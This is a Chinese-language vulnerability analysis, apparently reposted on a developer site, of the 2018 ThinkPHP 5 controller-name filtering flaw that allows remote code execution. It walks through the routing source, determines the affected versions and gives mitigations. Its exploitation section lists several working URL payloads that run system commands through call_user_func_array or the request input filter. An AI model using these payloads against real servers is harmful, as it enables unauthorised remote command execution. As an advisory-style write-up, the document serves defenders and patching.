Thinkphp5 控制器名过滤不严导致getshell漏洞分析

栏目: PHP · 发布时间: 5年前

内容简介:2018年12月10日,Thinkphp官方发布重要安全更新,修复了一个安全漏洞。由于框架对控制器名没有进行足够的检测,在没有开启强制路由的情况下(默认关闭),会导致远程代码执行漏洞。经过一系列测试和源码分析,最终确定漏洞影响版本为:该漏洞出现的原因在于thinkphp5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到thinkphp框架内部的敏感函数,进而导致getshell漏洞,本文以Thinkphp5.0.22为例进行分析。

漏洞简介

2018年12月10日,Thinkphp官方发布重要安全更新,修复了一个安全漏洞。由于框架对控制器名没

有进行足够的检测,在没有开启强制路由的情况下(默认关闭),会导致远程代码执行漏洞。经过一系列测试和源码分析,最终确定漏洞影响版本为:

  • Thinkphp 5.0.5-5.0.22
  • Thinkphp 5.1.0-5.1.30

漏洞分析

该漏洞出现的原因在于thinkphp5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到thinkphp框架内部的敏感函数,进而导致getshell漏洞,本文以Thinkphp5.0.22为例进行分析。

通过查看手册可以得知tp5支持多种路由定义方式:

https://www.kancloud.cn/manual/thinkphp5/118037

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

这里值得注意的地方有两个,一个是路由定义方式4,tp5可以将请求路由到指定类的指定方法(必须是public方法)中;另一个是即使没有定义路由,tp5默认会按照方式1对URL进行解析调度。

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

然后来看一下具体的代码实现:

thinkphp/library/think/App.php

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

由于没有在配置文件定义任何路由,所以默认按照方式1解析调度。如果开启强制路由模式,会直接抛出错误。

thinkphp/library/think/Route.php

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

可以看到tp5在解析URL的时候只是将URL按分割符分割,并没有进行安全检测。继续往后跟:

thinkphp/library/think/App.php

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

在攻击时注意使用一个已存在的module,否则会抛出异常,无法继续运行。

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

此处在获取控制器名时直接从之前的解析结果中获取,无任何安全检查。

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

在这里对控制器类进行实例化,跟进去看一下:

thinkphp/library/think/Loader.php

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

根据传入的name获取对应的类,如果存在就直接返回这个类的一个实例化对象。

跟进 getModuleAndClass 方法:

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

可以看到如果控制器名中有 \ ,就直接返回。

回到 thinkphp/library/think/App.phpmodule 方法,正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个 \think\App 的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

确定漏洞影响版本

在与小伙伴做测试的时候,意外发现5.0.5版本使用现有的payload不生效,会报控制器不存在的错误。跟进代码之后发现了一些小问题,下面是thinkphp 5.0.5thinkphp/library/think/Loader.phpcontroller 方法:

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

以payload ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 为例,我们将控制器名设置为 \think\appstrpos 返回了0,由于 php 弱类型问题,无法进入407行的判断,导致payload无效。这里可以将第一个 \ 去掉来使payload生效,payload如下:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

继续查看thinkphp5.0.0-5.0.4的相关代码,发现5.0.0-5.0.4版本并没有对控制器名中有 \ 的情况进行特殊处理,payload无法生效。

以下是thinkphp 5.0.4thinkphp/library/think/Loader.php 的相关代码:

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

可以看到没有进行特殊处理,会统一进入 parseClass 进行统一处理。

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

过滤掉了 / . ,并且在最后会在前面拼接上控制器类的namespace,导致payload无法生效。从而最终确定Thinkphp5.0受影响的版本为 5.0.5-5.0.22

漏洞利用

由于攻击者可以利用该漏洞调用tp5项目中的几乎所有类的public方法,所以利用点有很多,这里放几个常见的,可挖掘的地方还有很多。

1

index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

Thinkphp5 控制器名过滤不严导致getshell漏洞分析

2

index.php?s=index/\think\container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1版本特有的payload,由于代码结构改变, invokefunction 放到了 \think\Container 类中。

3

index.php?s=index/\think\request/input&filter=system&data=id

5.1版本特有,由于5.0的 \think\Request 类的构造方法为protected而无法利用。

......

漏洞防御

  1. 升级到Thinkphp最新版本:5.0.23、5.0.31
  2. 养成良好的开发习惯,使用强制路由模式,但不建议在线上环境直接开始该模式。
  3. 直接添加补丁,在thinkphp5.0版本的 thinkphp/library/think/App.php 554行,thinkphp5.1版本的 thinkphp/library/think/route/dispatch/Url.php 63行添加如下代码:

    if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
        throw new HttpException(404, 'controller not exists:' . $controller);
    }

以上所述就是小编给大家介绍的《Thinkphp5 控制器名过滤不严导致getshell漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

从零开始学C++程序设计

从零开始学C++程序设计

编者:吴惠茹 / 机械工业 / 2017-05-01 / 69.0

一起来看看 《从零开始学C++程序设计》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

MD5 加密
MD5 加密

MD5 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具